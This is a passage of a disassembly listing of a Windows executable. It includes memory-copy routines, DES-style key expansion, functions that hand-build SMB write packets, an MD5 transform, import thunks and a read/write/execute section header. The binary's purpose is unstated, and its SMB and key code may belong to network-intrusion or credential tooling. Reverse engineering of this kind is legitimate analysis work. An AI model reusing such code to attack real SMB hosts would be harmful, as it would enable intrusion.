		inc	[ebp+arg_4]
		inc	[ebp+arg_0]


loc_4140C0:				; CODE XREF: sub_4140AB+3j
		mov	eax, [ebp+arg_C]
		add	[ebp+arg_C], 0FFFFFFFFh
		test	eax, eax
		jnz	short loc_4140B0


loc_4140CB:				; DATA XREF: sub_408DC0:loc_40943Eo
		jmp	short loc_4140DD
; ---------------------------------------------------------------------------


loc_4140CD:				; CODE XREF: sub_4140AB+3Bj
		mov	edx, [ebp+arg_8]
		mov	cl, [edx]
		mov	eax, [ebp+arg_0]
		mov	[eax], cl
		inc	[ebp+arg_8]
		inc	[ebp+arg_0]


loc_4140DD:				; CODE XREF: sub_4140AB:loc_4140CBj
					; DATA XREF: sub_408DC0:loc_40929Ao
		mov	edx, [ebp+arg_10]
		add	[ebp+arg_10], 0FFFFFFFFh
		test	edx, edx
		jnz	short loc_4140CD
		pop	ebp
		retn
sub_4140AB	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	10h
		push	dword ptr [ebp+8]


loc_4140F2:				; DATA XREF: sub_408440:loc_40864Eo
					; sub_4089C0+23o
		push	dword ptr [ebp+10h]
		call	sub_4132D8
		add	esp, 0Ch
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4140FF	proc near		; CODE XREF: sub_412AEE+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [eax]
		sar	edx, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx], dl
		mov	eax, [ebp+arg_0]


loc_414114:				; DATA XREF: sub_408AD0+14o
		mov	dl, [eax]
		and	dl, 1


loc_414119:				; DATA XREF: sub_408810+43o
					; sub_408810+72o ...
		shl	edx, 6


loc_41411C:				; DATA XREF: sub_408810+2Bo
		mov	ecx, [ebp+arg_0]


loc_41411F:				; DATA XREF: sub_408810+5Ao
		xor	eax, eax
		mov	al, [ecx+1]
		sar	eax, 2
		or	dl, al
		mov	ecx, [ebp+arg_4]
		mov	[ecx+1], dl
		mov	edx, [ebp+arg_0]
		mov	al, [edx+1]


loc_414135:				; DATA XREF: sub_408440:loc_4086A4o
		and	al, 3
		shl	eax, 5
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx


loc_41413F:				; DATA XREF: sub_408440+307o
					; sub_408440:loc_408783o
		mov	cl, [edx+2]
		sar	ecx, 3
		or	al, cl
		mov	edx, [ebp+arg_4]
		mov	[edx+2], al
		mov	eax, [ebp+arg_0]
		mov	cl, [eax+2]
		and	cl, 7
		shl	ecx, 4
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [eax+3]
		sar	edx, 4
		or	cl, dl
		mov	eax, [ebp+arg_4]
		mov	[eax+3], cl
		mov	edx, [ebp+arg_0]
		mov	cl, [edx+3]
		and	cl, 0Fh
		shl	ecx, 3
		mov	eax, [ebp+arg_0]
		xor	edx, edx


loc_41417D:				; DATA XREF: sub_408440+F6o
		mov	dl, [eax+4]
		sar	edx, 5
		or	cl, dl
		mov	eax, [ebp+arg_4]
		mov	[eax+4], cl


loc_41418B:				; DATA XREF: sub_408440+FEo
		mov	edx, [ebp+arg_0]
		mov	cl, [edx+4]


loc_414191:				; DATA XREF: sub_408440:loc_40855Ao
		and	cl, 1Fh
		shl	ecx, 2
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [eax+5]
		sar	edx, 6
		or	cl, dl
		mov	eax, [ebp+arg_4]
		mov	[eax+5], cl
		mov	edx, [ebp+arg_0]
		mov	cl, [edx+5]
		and	cl, 3Fh
		add	ecx, ecx
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	dl, [eax+6]
		sar	edx, 7
		or	cl, dl
		mov	eax, [ebp+arg_4]
		mov	[eax+6], cl
		mov	edx, [ebp+arg_0]
		mov	cl, [edx+6]
		and	cl, 7Fh
		mov	eax, [ebp+arg_4]
		mov	[eax+7], cl
		xor	edx, edx
		mov	[ebp+var_4], edx


loc_4141DC:				; CODE XREF: sub_4140FF+EDj
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+var_4]
		shl	byte ptr [eax+ecx], 1
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 8
		jl	short loc_4141DC
		pop	ecx
		pop	ebp
		retn
sub_4140FF	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414200	proc near		; CODE XREF: sub_4125D0+57p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_4142DB
		mov	esi, eax
		push	0A3h
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 2Fh
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		mov	byte ptr [esi],	0Eh
		mov	byte ptr [esi+1], 0FFh
		mov	eax, [ebx+186h]
		mov	[esi+5], ax
		mov	dword ptr [esi+0Bh], 0FFFFFFFFh
		mov	word ptr [esi+0Fh], 0
		mov	eax, [ebp+arg_4]
		mov	[esi+7], eax
		mov	eax, [ebp+arg_C]
		mov	[esi+15h], ax
		mov	[esi+1Dh], ax
		mov	word ptr [esi+17h], 3Fh
		add	eax, 3Fh
		mov	[esi+3], ax
		add	esi, 1Fh
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+arg_C]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	2000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4142DB
		add	edi, 4
		mov	esi, [edi+5]
		add	edi, 20h
		movzx	edx, word ptr [edi+7]
		mov	ecx, [ebp+arg_10]
		mov	[ecx], edx


loc_4142DB:				; CODE XREF: sub_414200+16j
					; sub_414200+C7j
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_414200	endp

; ---------------------------------------------------------------------------
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142F0	proc near		; CODE XREF: sub_412840+2Bp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	esi, 0FFFFFFFFh
		mov	ebx, [ebp+arg_0]
		or	ebx, ebx
		jz	loc_4143F9
		mov	eax, [ebx+0Ch]
		or	eax, eax
		jz	loc_4143F9
		mov	esi, eax
		push	0BBh
		push	0
		push	esi
		call	sub_40F5F0
		mov	[ebp+var_4], esi
		add	esi, 4
		mov	dword ptr [esi], 424D53FFh
		mov	byte ptr [esi+4], 2Fh
		mov	byte ptr [esi+9], 18h
		mov	word ptr [esi+0Ah], 2001h
		push	esi
		push	ebx
		call	sub_412804
		mov	eax, [ebx+56h]
		mov	[esi+18h], ax
		add	esi, 20h
		mov	byte ptr [esi],	0Eh
		mov	byte ptr [esi+1], 0FFh
		mov	eax, [ebx+186h]
		mov	[esi+5], ax
		mov	dword ptr [esi+0Bh], 0FFFFFFFFh
		mov	word ptr [esi+0Fh], 8
		mov	eax, [ebp+arg_10]
		add	eax, 18h
		mov	[esi+11h], ax
		mov	[esi+15h], ax
		mov	[esi+1Dh], ax
		mov	word ptr [esi+17h], 3Fh
		add	esi, 1Fh
		mov	byte ptr [esi],	5
		mov	eax, [ebp+arg_8]
		mov	[esi+3], al
		mov	dword ptr [esi+4], 10h
		mov	eax, [ebp+arg_10]
		add	eax, 18h
		mov	[esi+8], ax
		mov	eax, [ebp+arg_10]
		mov	[esi+10h], eax
		mov	eax, [ebp+arg_4]
		mov	[esi+16h], ax
		add	esi, 18h
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	sub_40F5BF
		add	esi, [ebp+arg_10]
		mov	edi, [ebp+var_4]
		sub	esi, edi
		lea	eax, [esi-4]
		push	eax
		call	sub_40A30E
		mov	[edi], eax
		push	1000h
		push	edi
		push	esi
		push	edi
		push	dword ptr [ebx+8]
		call	sub_410DC0
		mov	esi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4143F9
		add	edi, 4
		mov	esi, [edi+5]
		add	edi, 20h
		movzx	edx, word ptr [edi+7]
		mov	ecx, [ebp+arg_14]
		mov	[ecx], edx


loc_4143F9:				; CODE XREF: sub_4142F0+13j
					; sub_4142F0+1Ej ...
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	18h
sub_4142F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414402	proc near		; CODE XREF: rdata:0040FB45p
		jmp	ds:dword_41317C
sub_414402	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414408	proc near		; CODE XREF: sub_411800+DBp
					; sub_412A2B+40p
		jmp	ds:dword_413184
sub_414408	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41440E	proc near		; CODE XREF: rdata:0040FB8Fp
		jmp	ds:dword_413150
sub_41440E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414414	proc near		; CODE XREF: sub_410DC0+134p
					; sub_410DC0+15Bp ...
		jmp	ds:dword_413148
sub_414414	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41441A	proc near		; CODE XREF: sub_411BD0+19p
					; sub_411BD0+3Fp
		jmp	ds:dword_41314C
sub_41441A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414420	proc near		; CODE XREF: rdata:0040F636p
					; rdata:0040F77Cp
		jmp	ds:dword_413168
sub_414420	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414426	proc near		; CODE XREF: rdata:0040F880p
		jmp	ds:dword_413008
sub_414426	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_41442C	proc near		; CODE XREF: rdata:0040F920p
		jmp	ds:dword_41300C
sub_41442C	endp

; ---------------------------------------------------------------------------
		dw 0CCCCh
		dd 3 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414440	proc near		; CODE XREF: sub_40FC26+38p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		push	10h
		push	0
		push	[ebp+arg_4]
		call	sub_40F5F0
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	loc_414470
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_414440	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0
; ---------------------------------------------------------------------------


loc_414470:				; CODE XREF: sub_414440+18p
		mov	eax, [esp+4]
		push	ebx
		mov	ecx, [esp+0Ch]
		push	esi
		push	edi
		mov	edx, [eax+4]
		push	ebp
		mov	esi, [eax+8]
		mov	edi, [eax+0Ch]
		mov	ebp, [ecx]
		mov	ebx, edi
		xor	ebx, esi
		and	ebx, edx
		xor	ebx, edi
		add	ebx, ebp
		mov	ebp, [eax]
		lea	ebx, [ebx+ebp-28955B88h]
		rol	ebx, 7
		mov	eax, esi
		add	ebx, edx
		xor	eax, edx
		and	eax, ebx
		mov	ebp, [ecx+4]
		xor	eax, esi
		add	edi, ebp
		add	eax, 0E8C7B756h
		add	edi, eax
		rol	edi, 0Ch
		mov	eax, edx
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		mov	ebp, [ecx+8]
		xor	eax, edx
		add	esi, ebp
		add	eax, 242070DBh
		add	esi, eax
		rol	esi, 11h
		mov	eax, edi
		add	esi, edi
		xor	eax, ebx
		and	eax, esi
		mov	ebp, [ecx+0Ch]
		xor	eax, ebx
		add	edx, ebp
		add	eax, 0C1BDCEEEh
		add	edx, eax
		rol	edx, 16h
		mov	eax, edi
		add	edx, esi
		xor	eax, esi
		and	eax, edx
		mov	ebp, [ecx+10h]
		xor	eax, edi
		add	ebx, ebp
		add	eax, 0F57C0FAFh
		add	ebx, eax
		rol	ebx, 7


loc_414501:				; DATA XREF: sub_409ED0:loc_409F25o
		mov	eax, esi
		add	ebx, edx
		xor	eax, edx
		and	eax, ebx
		mov	ebp, [ecx+14h]
		xor	eax, esi


loc_41450E:				; DATA XREF: sub_403D90+Co
					; sub_4099E5:loc_409A0Co ...
		add	edi, ebp
		add	eax, 4787C62Ah
		add	edi, eax
		rol	edi, 0Ch
		mov	eax, edx
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		mov	ebp, [ecx+18h]
		xor	eax, edx
		add	esi, ebp
		add	eax, 0A8304613h
		add	esi, eax
		rol	esi, 11h
		mov	eax, edi
		add	esi, edi


loc_414537:				; DATA XREF: rdata:004047C7o
					; sub_409C10+110o
		xor	eax, ebx
		and	eax, esi
		mov	ebp, [ecx+1Ch]
		xor	eax, ebx


loc_414540:				; DATA XREF: rdata:004047E4o
					; sub_409C10+12Bo
		add	edx, ebp
		add	eax, 0FD469501h
		add	edx, eax
		rol	edx, 16h
		mov	eax, edi
		add	edx, esi
		xor	eax, esi
		and	eax, edx
		mov	ebp, [ecx+20h]


loc_414557:				; DATA XREF: sub_404A80+5Co
					; sub_409C10+EEo
		xor	eax, edi
		add	ebx, ebp
		add	eax, 698098D8h
		add	ebx, eax
		rol	ebx, 7
		mov	eax, esi
		add	ebx, edx
		xor	eax, edx
		and	eax, ebx
		mov	ebp, [ecx+24h]
		xor	eax, esi
		add	edi, ebp
		add	eax, 8B44F7AFh
		add	edi, eax
		rol	edi, 0Ch
		mov	eax, edx
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		mov	ebp, [ecx+28h]
		xor	eax, edx


loc_41458B:				; DATA XREF: rdata:004046F6o
		add	esi, ebp
		add	eax, 0FFFF5BB1h


loc_414592:				; DATA XREF: sub_404A80+48o
		add	esi, eax
		rol	esi, 11h
		mov	eax, edi
		add	esi, edi
		xor	eax, ebx
		and	eax, esi
		mov	ebp, [ecx+2Ch]
		xor	eax, ebx
		add	edx, ebp
		add	eax, 895CD7BEh
		add	edx, eax
		rol	edx, 16h
		mov	eax, edi
		add	edx, esi
		xor	eax, esi
		and	eax, edx
		mov	ebp, [ecx+30h]
		xor	eax, edi
		add	ebx, ebp
		add	eax, 6B901122h
		add	ebx, eax
		rol	ebx, 7
		mov	eax, esi
		add	ebx, edx
		xor	eax, edx
		and	eax, ebx
		mov	ebp, [ecx+34h]
		xor	eax, esi
		add	edi, ebp
		add	eax, 0FD987193h
		add	edi, eax
		rol	edi, 0Ch
		mov	eax, edx
		add	edi, ebx
		xor	eax, ebx
		and	eax, edi
		mov	ebp, [ecx+38h]
		xor	eax, edx
		add	esi, ebp
		add	eax, 0A679438Eh
		add	esi, eax
		rol	esi, 11h
		mov	eax, edi
		add	esi, edi
		xor	eax, ebx
		and	eax, esi
		mov	ebp, [ecx+3Ch]
		xor	eax, ebx


loc_414608:				; DATA XREF: sub_404500+24o
					; sub_404500+5Do
		add	edx, ebp


loc_41460A:				; DATA XREF: sub_404500+1Co
		add	eax, 49B40821h
		add	edx, eax


loc_414611:				; DATA XREF: sub_4041A0+4Bo
					; sub_4049A0+64o ...
		rol	edx, 16h
		mov	eax, esi
		add	edx, esi
		mov	ebp, [ecx+4]
		xor	eax, edx
		and	eax, edi
		xor	eax, esi
		add	ebx, ebp
		add	eax, 0F61E2562h
		add	ebx, eax
		mov	eax, edx
		rol	ebx, 5
		mov	ebp, [ecx+18h]
		add	ebx, edx
		xor	eax, ebx
		and	eax, esi
		xor	eax, edx
		add	edi, ebp


loc_41463C:				; DATA XREF: sub_4049A0+C9o
		add	eax, 0C040B340h
		add	edi, eax
		mov	ebp, [ecx+2Ch]


loc_414646:				; DATA XREF: rdata:00403A7Co
					; rdata:00403ADFo
		rol	edi, 9
		add	edi, ebx
		mov	eax, edi
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	esi, ebp
		add	eax, 265E5A51h
		add	esi, eax
		mov	eax, edi
		rol	esi, 0Eh
		mov	ebp, [ecx]
		add	esi, edi
		xor	eax, esi
		and	eax, ebx
		xor	eax, edi
		add	edx, ebp
		add	eax, 0E9B6C7AAh
		add	edx, eax
		mov	eax, esi
		rol	edx, 14h
		mov	ebp, [ecx+14h]


loc_41467C:				; DATA XREF: rdata:00403A64o
		add	edx, esi
		xor	eax, edx
		and	eax, edi
		xor	eax, esi
		add	ebx, ebp


loc_414686:				; DATA XREF: rdata:004035A6o
		add	eax, 0D62F105Dh
		add	ebx, eax
		mov	eax, edx
		rol	ebx, 5
		mov	ebp, [ecx+28h]
		add	ebx, edx
		xor	eax, ebx
		and	eax, esi
		xor	eax, edx
		add	edi, ebp
		add	eax, 2441453h
		add	edi, eax
		rol	edi, 9
		add	edi, ebx
		mov	ebp, [ecx+3Ch]
		mov	eax, edi
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	esi, ebp


loc_4146B8:				; DATA XREF: rdata:004035F3o
					; rdata:0040363Bo ...
		add	eax, 0D8A1E681h
		add	esi, eax


loc_4146BF:				; DATA XREF: rdata:00403651o
		mov	eax, edi
		rol	esi, 0Eh
		mov	ebp, [ecx+10h]
		add	esi, edi
		xor	eax, esi
		and	eax, ebx
		xor	eax, edi
		add	edx, ebp
		add	eax, 0E7D3FBC8h
		add	edx, eax
		mov	eax, esi
		rol	edx, 14h
		mov	ebp, [ecx+24h]
		add	edx, esi
		xor	eax, edx
		and	eax, edi
		xor	eax, esi
		add	ebx, ebp


loc_4146EA:				; DATA XREF: rdata:004035EEo
		add	eax, 21E1CDE6h
		add	ebx, eax
		mov	eax, edx
		rol	ebx, 5
		mov	ebp, [ecx+38h]
		add	ebx, edx
		xor	eax, ebx
		and	eax, esi
		xor	eax, edx
		add	edi, ebp
		add	eax, 0C33707D6h
		add	edi, eax
		mov	ebp, [ecx+0Ch]


loc_41470D:				; DATA XREF: sub_409ED0+B2o
		rol	edi, 9
		add	edi, ebx
		mov	eax, edi


loc_414714:				; DATA XREF: sub_409ED0+A1o
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	esi, ebp
		add	eax, 0F4D50D87h
		add	esi, eax
		mov	eax, edi
		rol	esi, 0Eh
		mov	ebp, [ecx+20h]
		add	esi, edi
		xor	eax, esi
		and	eax, ebx
		xor	eax, edi
		add	edx, ebp
		add	eax, 455A14EDh
		add	edx, eax
		rol	edx, 14h
		add	edx, esi
		mov	eax, esi
		mov	ebp, [ecx+34h]
		xor	eax, edx
		and	eax, edi
		xor	eax, esi
		add	ebx, ebp
		add	eax, 0A9E3E905h
		add	ebx, eax
		mov	eax, edx
		rol	ebx, 5
		mov	ebp, [ecx+8]
		add	ebx, edx
		xor	eax, ebx
		and	eax, esi
		xor	eax, edx
		add	edi, ebp
		add	eax, 0FCEFA3F8h


loc_41476C:				; DATA XREF: sub_403B20+12o
					; sub_403B90+9o
		add	edi, eax
		mov	ebp, [ecx+1Ch]
		rol	edi, 9
		add	edi, ebx
		mov	eax, edi


loc_414778:				; DATA XREF: sub_4099E5+13o
		xor	eax, ebx
		and	eax, edx
		xor	eax, ebx
		add	esi, ebp


loc_414780:				; DATA XREF: sub_403D90+79o
					; rdata:0040FCF9o
		add	eax, 676F02D9h
		add	esi, eax
		mov	eax, edi
		rol	esi, 0Eh
		add	esi, edi
		xor	eax, esi
; ---------------------------------------------------------------------------
		db 8Bh
dword_414791	dd 33EB23E8h						; rdata:0040FCACr ...
byte_414795	db 0EFh, 8Bh, 41h	; DATA XREF: sub_403FF0+Co
		dd 5D50330h, 8D2A4C8Ah,	0C2C1D003h
dword_4147A4	dd 3C78B14h			db 0D6h, 33h, 0C6h
byte_4147AB	db 8Bh			; DATA XREF: rdata:loc_403674o
		dd 0C2331469h, 4205DD03h, 3FFFA39h, 4C3C1D8h
dword_4147BC	dd 0DA03C68Bh, 698BC233h, 3C33320h, 0F68105FDh,	0F8038771h
					; DATA XREF: sub_403B90+15o
		db 0C1h, 0C7h
word_4147D2	dw 8B0Bh		; DATA XREF: sub_403B90+2Do
		dd 0F5032C69h, 0C78BFB03h, 6122C681h, 0C2336D9Dh, 0F003C333h
dword_4147E8	dd 8B10C6C1h, 33F703C7h, 38698BC6h, 0EB8BD503h		db 33h
byte_4147F9	db 0E8h, 81h, 0C2h	; DATA XREF: sub_4041A0+90o
		dd 0FDE5380Ch
		db 3, 0D5h
word_414802	dw 0C2C1h		; DATA XREF: rdata:00404317o
		dd 4698B17h
		db 3
byte_414809	db 0DDh, 3, 0D6h	; DATA XREF: rdata:00404361o
		dd 0C381EA8Bh, 0A4BEEA44h, 0DD03E833h
		db 0C1h, 0C3h, 4
byte_41481B	db 8Bh			; DATA XREF: rdata:004043BFo
		dd 33DA03C6h, 10698BC2h, 0FD03C333h, 0DECFA905h, 0C1F8034Bh
		dd 698B0BC7h, 3F5031Ch,	81C78BFBh, 0BB4B60C6h, 33C233F6h
		dd 0C1F003C3h, 0C78B10C6h, 698BF703h, 8BD50328h, 81C633EBh
		dd 0BFBC70C2h, 3E833BEh, 17C2C1D5h, 334698Bh, 8BD603DDh
		dd 0C6C381EAh, 33289B7Eh, 0C1DD03E8h, 0C68B04C3h, 0C233DA03h
		dd 0C333298Bh, 0FA05FD03h, 3EAA127h, 0BC7C1F8h,	30C698Bh
		db 0F5h, 3, 0FBh
byte_414897	db 8Bh			; DATA XREF: rdata:00404B5Fo
		dd 85C681C7h, 33D4EF30h, 3C333C2h
		db 0F0h, 0C1h
word_4148A6	dw 10C6h		; DATA XREF: rdata:00404B7Eo
		dd 0F703C78Bh, 318698Bh, 33EB8BD5h
dword_4148B4	dd 5C281C6h	dword_4148B8	dd 3304881Dh						; sub_403B20+5Bw
		dd 0C1D503E8h, 0D60317C2h, 0E833EA8Bh, 324418Bh, 0D03905DDh
		dd 0D803D9D4h, 8B04C3C1h, 33DA03C6h, 30698BC2h,	0E505C333h
		dd 3E6DB99h, 0C1F803FDh, 698B0BC7h, 3FB033Ch, 81C78BF5h
		dd 0A27CF8C6h, 33C2331Fh, 0C1F003C3h, 0C78B10C6h, 698BF703h
		dd 3C63308h, 81C333D5h,	0AC5665C2h, 0C1D003C4h,	0C78B17C2h
		dd 3FFF083h, 0B298BD6h,	3C633C2h, 224405DDh, 0D803F429h
		dd 8B06C3C1h, 0FFF083C6h, 698BDA03h, 33C30B1Ch,	5FD03C2h
		dd 432AFF97h, 0C7C1F803h, 83C28B0Ah, 0FB03FFF0h, 0B38698Bh
		dd 3C333C7h, 23A705F5h,	0F003AB94h, 8B0FC6C1h, 0FFF083C3h
		dd 698BF703h, 33C60B14h, 81D503C7h, 93A039C2h, 0C1D003FCh
		dd 0C78B15C2h, 3FFF083h, 30698BD6h, 0C633C20Bh
		db 3, 0DDh, 5
dword_414997	dd 655B59C3h						; sub_403B20+24o
dword_41499B	dd 0C3C1D803h						; rdata:00403626r ...
dword_41499F	dd 83C68B06h						; rdata:00403751r
dword_4149A3	dd 0DA03FFF0h						; rdata:004036FAr
dword_4149A7	dd 0B0C698Bh	dword_4149AB	dd 3C233C3h						; rdata:0040360Er ...
dword_4149AF	dd 0CC9205FDh			db 0Ch
		db 8Fh,	3, 0F8h
dword_4149B7	dd 8B0AC7C1h	dword_4149BB	dd 0FFF083C2h	dword_4149BF	dd 698BFB03h			db 28h
		db 0Bh,	0C7h, 33h
byte_4149C7	db 0C3h			; DATA XREF: sub_403B20+1Eo
		dd 7D05F503h, 3FFEFF4h,	0FC6C1F0h, 0F083C38Bh, 8BF703FFh
		dd 0C60B0469h, 0D503C733h, 845DD105h, 0C1D00385h, 0C78B15C2h
		dd 3FFF083h
		db 0D6h, 8Bh, 69h
byte_4149F7	db 20h			; DATA XREF: sub_404CC5+10o
					; sub_4099E5+75o
		dd 0C633C20Bh, 4F05DD03h, 36FA87Eh, 6C3C1D8h
		db 8Bh
byte_414A09	db 0C6h, 83h, 0F0h	; DATA XREF: rdata:0040508Co
		dd 8BDA03FFh, 0C30B3C69h, 0FD03C233h, 2CE6E005h, 0C1F803FEh
		dd 0C28B0AC7h, 3FFF083h, 18698BFBh, 0C333C70Bh,	1405F503h
		dd 3A30143h, 0FC6C1F0h,	0F083C38Bh, 8BF703FFh, 0C60B3469h
		dd 0D503C733h, 811A105h, 0C1D0034Eh, 0C78B15C2h, 3FFF083h
		dd 10698BD6h, 0C633C20Bh, 8205DD03h, 3F7537Eh, 6C3C1D8h
		dd 0F083C68Bh, 8BDA03FFh, 0C30B2C69h, 0FD03C233h, 3AF23505h
		dd 0C1F803BDh, 0C28B0AC7h, 3FFF083h
		db 0FBh, 8Bh
word_414A92	dw 869h			; DATA XREF: sub_4056D0+3Co
		dd 0C333C70Bh, 0BB05F503h, 32AD7D2h, 0FC6C1F0h,	0F083C38Bh
		dd 8BF703FFh, 0C60B2469h, 0D503C733h
dword_414AB4	dd 86D39105h, 0C1D003EBh, 448B15C2h, 0D6031424h, 0D903088Bh
					; DATA XREF: sub_408DC0+52Fo
		dd 304488Bh, 8B1889D1h,	50890848h, 5DF10304h, 890C488Bh
		dd 0F9030870h, 5F0C7889h, 8C25B5Eh, 24A48D00h, 45h dup(0)
		dd 138C2h, 0
		dd 13BB6h, 13BC8h, 139C2h, 139D0h, 1399Ah, 13982h, 139E0h
		dd 139F2h, 13A02h, 13A10h, 13A20h, 13A32h, 13A42h, 13A54h
		dd 139ACh, 0
		dd 138D8h, 0
		dd 135C6h, 135DCh, 135ECh, 135B2h, 135FAh, 1360Ah, 13624h
		dd 1363Ah, 1364Eh, 13660h, 13676h, 13686h, 13696h, 136B2h
		dd 136CAh, 136E2h, 136F2h, 1370Ah, 1371Ah, 13728h, 1358Eh
		dd 13764h, 1356Ch, 135A0h, 13774h, 13784h, 13790h, 137A6h
		dd 137B8h, 137CCh, 137D4h, 137E4h, 137F8h, 1380Ah, 1381Ah
		dd 13828h, 1383Eh, 13854h, 13860h, 1357Eh, 13878h, 13884h
		dd 13890h, 1389Ch, 138A8h, 134ACh, 1349Eh, 13560h, 13552h
		dd 13544h, 1352Ch, 1351Eh, 1350Eh, 134FCh, 134ECh, 134D6h
		dd 134C8h, 134B8h, 13758h, 13734h, 13744h, 1386Ch, 13B82h
		dd 13B92h, 13B6Ch, 0
		dd 13946h, 13934h, 1390Ch, 138FCh, 13BA8h, 1391Ch, 0
		dd 13960h, 0
		dd 13B3Eh, 0
		dd 13B5Eh, 13484h, 13478h, 0
		dd 13AF4h, 13AFCh, 13AE6h, 13ACEh, 13B06h, 13AC6h, 13B28h
		dd 13ABEh, 13AAEh, 13AA4h, 13A96h, 13A88h, 13A76h, 13B0Eh
		dd 13B1Ch, 13ADAh, 0
		dd 13424h, 2 dup(0)
		dd 13492h, 13184h, 132F0h, 2 dup(0)
		dd 138B4h, 13050h, 132A0h, 2 dup(0)
		dd 138CCh, 13000h, 132E8h, 2 dup(0)
		dd 138EEh, 13048h, 133F8h, 2 dup(0)
		dd 13956h, 13158h, 13414h, 2 dup(0)
		dd 13976h, 13174h, 132A8h, 2 dup(0)
		dd 13A68h, 13008h, 13434h, 2 dup(0)
		dd 13B32h, 13194h, 1341Ch, 2 dup(0)
		dd 13B52h, 1317Ch, 5 dup(0)
		dd 138C2h, 0
		dd 13BB6h, 13BC8h, 139C2h, 139D0h, 1399Ah, 13982h, 139E0h
		dd 139F2h, 13A02h, 13A10h, 13A20h, 13A32h, 13A42h, 13A54h
		dd 139ACh, 0
		dd 138D8h, 0
		dd 135C6h, 135DCh, 135ECh, 135B2h, 135FAh, 1360Ah, 13624h
		dd 1363Ah, 1364Eh, 13660h, 13676h, 13686h, 13696h, 136B2h
		dd 136CAh, 136E2h, 136F2h, 1370Ah, 1371Ah, 13728h, 1358Eh
		dd 13764h, 1356Ch, 135A0h, 13774h, 13784h, 13790h, 137A6h
		dd 137B8h, 137CCh, 137D4h, 137E4h, 137F8h, 1380Ah, 1381Ah
		dd 13828h, 1383Eh, 13854h, 13860h, 1357Eh, 13878h, 13884h
		dd 13890h, 1389Ch, 138A8h, 134ACh, 1349Eh, 13560h, 13552h
		dd 13544h, 1352Ch, 1351Eh, 1350Eh, 134FCh, 134ECh, 134D6h
		dd 134C8h, 134B8h, 13758h, 13734h, 13744h, 1386Ch, 13B82h
		dd 13B92h, 13B6Ch, 0
		dd 13946h, 13934h
rdata		ends

; Section 3. (virtual address 00015000)
; Virtual size			: 00011600 (  71168.)
; Section size in file		: 00011600 (  71168.)
; Offset to raw	data for section: 00015000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_data		segment	para public 'CODE' use32
		assume cs:_data
		;org 415000h
